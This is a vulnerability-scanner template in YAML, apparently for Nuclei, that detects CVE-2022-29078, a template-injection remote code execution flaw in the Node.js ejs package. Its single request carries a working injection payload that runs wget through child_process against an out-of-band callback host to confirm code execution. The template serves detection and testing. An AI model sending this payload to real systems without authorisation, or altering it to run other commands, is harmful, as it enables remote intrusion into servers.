38 lines
1.3 KiB
YAML
38 lines
1.3 KiB
YAML
id: CVE-2022-29078
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info:
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name: Ejs - RCE
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author: For3stCo1d
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severity: critical
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description: |
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The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).
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reference:
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- https://eslam.io/posts/ejs-server-side-template-injection-rce/
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- https://github.com/miko550/CVE-2022-29078
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- https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
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- https://nvd.nist.gov/vuln/detail/CVE-2022-29078
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-29078
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cwe-id: CWE-74
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tags: cve,cve2022,rce,ejs,nodejs,oast
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requests:
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- raw:
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- |
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GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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- type: word
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part: body
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words:
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- "You are viewing page number"
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